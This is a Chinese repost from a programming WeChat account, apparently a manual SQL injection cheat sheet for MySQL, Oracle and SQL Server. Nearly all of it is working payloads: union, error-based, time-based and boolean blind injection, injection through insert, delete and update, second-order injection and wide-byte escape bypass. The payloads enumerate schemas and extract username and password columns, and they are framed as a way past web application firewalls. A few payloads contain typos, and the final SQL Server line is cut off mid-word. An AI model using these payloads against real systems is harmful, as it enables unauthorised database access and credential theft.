SQL 手工注入總結(jié),必須收藏 !
點(diǎn)擊上方“程序員大白”,選擇“星標(biāo)”公眾號(hào)
重磅干貨,第一時(shí)間送達(dá)
轉(zhuǎn)載:Linux就該這么學(xué)
雖說(shuō)目前互聯(lián)網(wǎng)上已經(jīng)有很多關(guān)于sql注入的神器了,但是在這個(gè)WAF橫行的時(shí)代,手工注入往往在一些真實(shí)環(huán)境中會(huì)引起尤為重要。此處主要把以前學(xué)過(guò)的知識(shí)做個(gè)總結(jié),不會(huì)有詳細(xì)的知識(shí)解讀,替代查詢手冊(cè)的形式,更多以后的復(fù)習(xí)與查閱,文中內(nèi)容可能會(huì)存在錯(cuò)誤,望師傅們斧正!
0x01 Mysql手工注入
1.1聯(lián)合注入
?id=1' order by 4--+?id=0' union select 1,2,3,database()--+?id=0' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database() --+?id=0' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name="users" --+#group_concat(column_name) 可替換為 unhex(Hex(cast(column_name+as+char)))column_name?id=0' union select 1,2,3,group_concat(password) from users --+#group_concat 可替換為 concat_ws(',',id,users,password )?id=0' union select 1,2,3,password from users limit 0,1--+
1.2報(bào)錯(cuò)注入
1.floor()select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);2.extractvalue()select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));3.updatexml()select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));4.geometrycollection()select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));5.multipoint()select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));6.polygon()select * from test where id=1 and polygon((select * from(select * from(select user())a)b));7.multipolygon()select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));8.linestring()select * from test where id=1 and linestring((select * from(select * from(select user())a)b));9.multilinestring()select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));10.exp()select * from test where id=1 and exp(~(select * from(select user())a));
每個(gè)一個(gè)報(bào)錯(cuò)語(yǔ)句都有它的原理:
exp()報(bào)錯(cuò)的原理:exp是一個(gè)數(shù)學(xué)函數(shù),取e的x次方,當(dāng)我們輸入的值大于709將報(bào)錯(cuò),然后?取反它的值總會(huì)大于709,所以報(bào)錯(cuò)。
updatexml()報(bào)錯(cuò)的原理:由于updatexml的第二個(gè)參數(shù)需要Xpath格式的字符串,以?開(kāi)頭的內(nèi)容不是xml格式的語(yǔ)法,concat()函數(shù)為串聯(lián)連接函數(shù)而不符合規(guī)則,但嵌套內(nèi)的執(zhí)行結(jié)果以錯(cuò)誤的形式報(bào)出,這樣就可以實(shí)現(xiàn)報(bào)錯(cuò)注入了。
爆庫(kù):?id=1' and updatexml(1,(select concat(0x7e,(schema_name),0x7e) from information_schema.schemata limit 2,1),1) -- +爆表:?id=1' and updatexml(1,(select concat(0x7e,(table_name),0x7e) from information_schema.tables where table_schema='security' limit 3,1),1) -- +爆字段:?id=1' and updatexml(1,(select concat(0x7e,(column_name),0x7e) from information_schema.columns where table_name=0x7573657273 limit 2,1),1) -- +爆數(shù)據(jù):?id=1' and updatexml(1,(select concat(0x7e,password,0x7e) from users limit 1,1),1) -- +#concat 也可以放在外面 updatexml(1,concat(0x7e,(select password from users limit 1,1),0x7e),1)
這里需要注意的是它加了連接字符,導(dǎo)致數(shù)據(jù)中的md5只能爆出31位,這里可以用分割函數(shù)分割出來(lái):
substr(string string,num start,num length);#string為字符串,start為起始位置,length為長(zhǎng)度?id=1' and updatexml(1,concat(0x7e, substr((select password from users limit 1,1),1,16),0x7e),1) -- +
1.3盲注
1.3.1時(shí)間盲注
時(shí)間盲注也叫延遲注入一般用到函數(shù)sleep()BENCHMARK()還可以使用笛卡爾積(盡量不要使用,內(nèi)容太多會(huì)很慢很慢)
一般時(shí)間盲注我們還需要使用條件判斷函數(shù)
#if(expre1,expre2,expre3)當(dāng) expre1 為 true 時(shí),返回 expre2,false 時(shí),返回 expre3#盲注的同時(shí)也配合著 mysql 提供的分割函substr、substring、left
我們一般喜歡把分割的函數(shù)編碼一下,當(dāng)然不編碼也行,編碼的好處就是可以不用引號(hào),常用到的就有ascii()hex()等等
?id=1' and if(ascii(substr(database(),1,1))>115,1,sleep(5))--+?id=1' and if((substr((select user()),1,1)='r'),sleep(5),1)--+
1.3.2布爾盲注
?id=1' and substr((select user()),1,1)='r' -- +?id=1' and IFNULL((substr((select user()),1,1)='r'),0) -- +#如果 IFNULL 第一個(gè)參數(shù)的表達(dá)式為 NULL,則返回第二個(gè)參數(shù)的備用值,不為 Null 則輸出值?id=1' and strcmp((substr((select user()),1,1)='r'),1) -- +#若所有的字符串均相同,STRCMP() 返回 0,若根據(jù)當(dāng)前分類次序,第一個(gè)參數(shù)小于第二個(gè),則返回 -1 ,其它情況返回 1
1.4插入,刪除,更新
插入,刪除,更新主要是用到盲注和報(bào)錯(cuò)注入,這種注入點(diǎn)不建議使用sqlmap等工具,會(huì)產(chǎn)生大量垃圾數(shù)據(jù),一般這種注入會(huì)出現(xiàn)在編碼,ip頭,留言板等等需要寫入數(shù)據(jù)的地方,同時(shí)這種注入不報(bào)錯(cuò)一般較難發(fā)現(xiàn),我們可以嘗試性插入,引號(hào),雙引號(hào),轉(zhuǎn)義符\讓語(yǔ)句不能正常執(zhí)行,然后如果插入失敗,更新失敗,然后深入測(cè)試確定是否存在注入
1.4.1報(bào)錯(cuò)
mysql> insert into admin (id,username,password) values (2,"or updatexml(1,concat(0x7e,(version())),0) or","admin");Query OK, 1 row affected (0.00 sec)mysql> select * from admin;+------+-----------------------------------------------+----------+| id | username | password |+------+-----------------------------------------------+----------+| 1 | admin | admin || 1 | and 1=1 | admin || 2 | or updatexml(1,concat(0x7e,(version())),0) or | admin |+------+-----------------------------------------------+----------+3 rows in set (0.00 sec)mysql> insert into admin (id,username,password) values (2,""or updatexml(1,concat(0x7e,(version())),0) or"","admin");ERROR 1105 (HY000): XPATH syntax error: '~5.5.53'#delete 注入很危險(xiǎn),很危險(xiǎn),很危險(xiǎn),切記不能使用 or 1=1 ,or 右邊一定要為falsemysql> delete from admin where id =-2 or updatexml(1,concat(0x7e,(version())),0);ERROR 1105 (HY000): XPATH syntax error: '~5.5.53'
1.4.2盲注
#int型 可以使用 運(yùn)算符 比如 加減乘除 and or 異或 移位等等mysql> insert into admin values (2+if((substr((select user()),1,1)='r'),sleep(5),1),'1',"admin");Query OK, 1 row affected (5.00 sec)mysql> insert into admin values (2+if((substr((select user()),1,1)='p'),sleep(5),1),'1',"admin");Query OK, 1 row affected (0.00 sec)#字符型注意閉合不能使用andmysql> insert into admin values (2,''+if((substr((select user()),1,1)='p'),sleep(5),1)+'',"admin");Query OK, 1 row affected (0.00 sec)mysql> insert into admin values (2,''+if((substr((select user()),1,1)='r'),sleep(5),1)+'',"admin");Query OK, 1 row affected (5.01 sec)# delete 函數(shù) or 右邊一定要為 falsemysql> delete from admin where id =-2 or if((substr((select user()),1,1)='r4'),sleep(5),0);Query OK, 0 rows affected (0.00 sec)mysql> delete from admin where id =-2 or if((substr((select user()),1,1)='r'),sleep(5),0);Query OK, 0 rows affected (5.00 sec)#update 更新數(shù)據(jù)內(nèi)容mysql> select * from admin;+------+----------+----------+| id | username | password |+------+----------+----------+| 2 | 1 | admin || 2 | 1 | admin || 2 | 1 | admin || 2 | admin | admin |+------+----------+----------+4 rows in set (0.00 sec)mysql> update admin set id="5"+sleep(5)+"" where id=2;Query OK, 4 rows affected (20.00 sec)Rows matched: 4 Changed: 4 Warnings: 0
1.5二次注入與寬字節(jié)注入
二次注入的語(yǔ)句:在沒(méi)有被單引號(hào)包裹的sql語(yǔ)句下,我們可以用16進(jìn)制編碼他,這樣就不會(huì)帶有單引號(hào)等。
mysql> insert into admin (id,name,pass) values ('3',0x61646d696e272d2d2b,'11');Query OK, 1 row affected (0.00 sec)mysql> select * from admin;+----+-----------+-------+| id | name | pass |+----+-----------+-------+| 1 | admin | admin || 2 | admin'111 | 11111 || 3 | admin'--+ | 11 |+----+-----------+-------+4 rows in set (0.00 sec)
二次注入在沒(méi)有二進(jìn)制的情況比較難發(fā)現(xiàn),通常見(jiàn)于注冊(cè),登錄惡意賬戶后,數(shù)據(jù)庫(kù)可能會(huì)因?yàn)閻阂赓~戶名的問(wèn)題,將admin'-+誤認(rèn)為admin帳戶
寬字節(jié)注入:針對(duì)目標(biāo)已達(dá)到一定的防護(hù),單引號(hào)轉(zhuǎn)換為 \' ,mysql轉(zhuǎn)換 \ 編碼為 %5c ,寬字節(jié)中兩個(gè)字節(jié)代表一個(gè)漢字,所以把 %df 加上 %5c 就變成了一個(gè)漢字“運(yùn)”,使用這種方法成功繞過(guò)過(guò)轉(zhuǎn)義,就是所謂的寬字節(jié)注入
id=-1%df' union select...#沒(méi)使用寬字節(jié)%27 -> %5C%27#使用寬字節(jié)%df%27 -> %df%5c%27 -> 運(yùn)'
0x02 Oracle手工注入
2.1聯(lián)合注入
?id=-1' union select user,null from dual--?id=-1' union select version,null from v$instance--?id=-1' union select table_name,null from (select * from (select rownum as limit,table_name from user_tables) where limit=3)--?id=-1' union select column_name,null from (select * from (select rownum as limit,column_name from user_tab_columns where table_name ='USERS') where limit=2)--?id=-1' union select username,passwd from users--?id=-1' union select username,passwd from (select * from (select username,passwd,rownum as limit from users) where limit=3)--
2.2報(bào)錯(cuò)注入
?id=1' and 1=ctxsys.drithsx.sn(1,(select user from dual))--?id=1' and 1=ctxsys.drithsx.sn(1,(select banner from v$version where banner like 'Oracle%))--?id=1' and 1=ctxsys.drithsx.sn(1,(select table_name from (select rownum as limit,table_name from user_tables) where limit= 3))--?id=1' and 1=ctxsys.drithsx.sn(1,(select column_name from (select rownum as limit,column_name from user_tab_columns where table_name ='USERS') where limit=3))--?id=1' and 1=ctxsys.drithsx.sn(1,(select passwd from (select passwd,rownum as limit from users) where limit=1))--
2.3盲注
2.3.1布爾盲注
既然是盲注,那么肯定涉及到條件判斷語(yǔ)句,Oracle除了使用if else結(jié)束,如果這種復(fù)雜的,還可以使用encode()函數(shù)。
語(yǔ)法:decode(條件,值1,返回值1,值2,返回值2,...值n,返回值n,更改值);
該函數(shù)的含義如下:
IF 條件=值1 THENRETURN(返回值1)ELSIF 條件=值2 THENRETURN(返回值2)......ELSIF 條件=值n THENRETURN(返回值n)ELSERETURN(缺省值)END IF
?id=1' and 1=(select decode(user,'SYSTEM',1,0,0) from dual)--?id=1' and 1=(select decode(substr(user,1,1),'S',1,0,0) from dual)--?id=1' and ascii(substr(user,1,1))> 64-- #二分法
2.3.2時(shí)間盲注
可使用DBMS_PIPE.RECEIVE_MESSAGE('任意值',延遲時(shí)間)函數(shù)進(jìn)行時(shí)間盲注,這個(gè)函數(shù)可以指定延遲的時(shí)間
?id=1' and 1=(case when ascii(substr(user,1,1))> 128 then DBMS_PIPE.RECEIVE_MESSAGE('a',5) else 1 end)--?id=1' and 1=(case when ascii(substr(user,1,1))> 64 then DBMS_PIPE.RECEIVE_MESSAGE('a',5) else 1 end)--
0x03 SQL Server手工注入
3.1聯(lián)合注入
?id=-1' union select null,null--?id=-1' union select @@servername, @@version--?id=-1' union select db_name(),suser_sname()--?id=-1' union select (select top 1 name from sys.databases where name not in (select top 6 name from sys.databases)),null--?id=-1' union select (select top 1 name from sys.databases where name not in (select top 7 name from sys.databasesl),null--?id--1' union select (select top 1 table_ name from information_schema.tables where table_name not in (select top 0 table_name from information_schema.tables)),null--?id=-1' union select (select top 1 column name from information_schema.columns where table_name='users' and column_name not in (select top 1 column_name from information_schema.columns where table_name = 'users')),null---?id=-1' union select (select top 1 username from users where username not in (select top 3 username from users)),null--
3.2報(bào)錯(cuò)注入
?id=1' and 1=(select 1/@@servername)--?id=1' and 1=(select 1/(select top 1 name from sys.databases where name not in (select top 1 name from sys.databases))--
3.3盲注
3.3.1布爾盲注
?id=1' and ascii(substring((select db_ name(1)),1,1))> 64--3.3.2時(shí)間盲注
?id= 1';if(2>1) waitfor delay '0:0:5'--?id= 1';if(ASCII(SUBSTRING((select db_name(1)),1,1))> 64) wai
推薦閱讀
關(guān)于程序員大白
程序員大白是一群哈工大,東北大學(xué),西湖大學(xué)和上海交通大學(xué)的碩士博士運(yùn)營(yíng)維護(hù)的號(hào),大家樂(lè)于分享高質(zhì)量文章,喜歡總結(jié)知識(shí),歡迎關(guān)注[程序員大白],大家一起學(xué)習(xí)進(jìn)步!


